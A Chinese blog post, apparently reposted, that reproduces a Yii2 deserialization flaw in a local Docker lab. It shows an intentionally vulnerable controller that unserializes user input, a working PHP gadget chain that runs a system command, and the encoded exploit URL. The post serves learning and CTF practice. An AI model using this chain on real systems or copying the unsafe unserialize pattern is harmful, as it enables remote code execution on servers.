微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Yii2 反序列化漏洞复现

Yii2 反序列化漏洞复现

前言

  • 之前红帽杯做题时碰到的,当时没细究,现在来本地搭建复现一下
  • 原理性的内容就不多说了,本文也只是为了记录一下我复现时候的过程,方便后面复习时用

环境搭建

  • 本来想跟着网上大多数人的那种教程一样,直接从GitHub下载源码,然后docker-compose up安装,但是一直没能成功,后续想尝试着直接Windows上安装,但是过程过于复杂,所以最终还是选择直接docker安装

docker 搭建Yii2环境

  • 直接docker searche yii2

  • 我选择的是schmunk42/yii2-app-basic,然后直接docker pull schmunk42/yii2-app-basic 拖取镜像即可

  • 启动镜像docker run -d -P schmunk42/yii2-app-basic

  • 访问ip:49153,出现以下界面即搭建完成

漏洞复现

创建一个存在漏洞的Action:/controllers/TestController.PHP

<?PHP

namespace app\controllers;

use Yii;
use yii\web\Controller;

class TestController extends Controller
{
	public function actiontest(){
		$name = Yii::$app->request->get('unserialize');
		return unserialize(base64_decode($name));
	}
}

  • 利用网上给出的exp进行复现执行系统命令
<?PHP
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls -al';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
/index.PHP?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ

参考链接

  • https://xz.aliyun.com/t/8307?page=5
  • https://anquan.baidu.com/article/1260

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐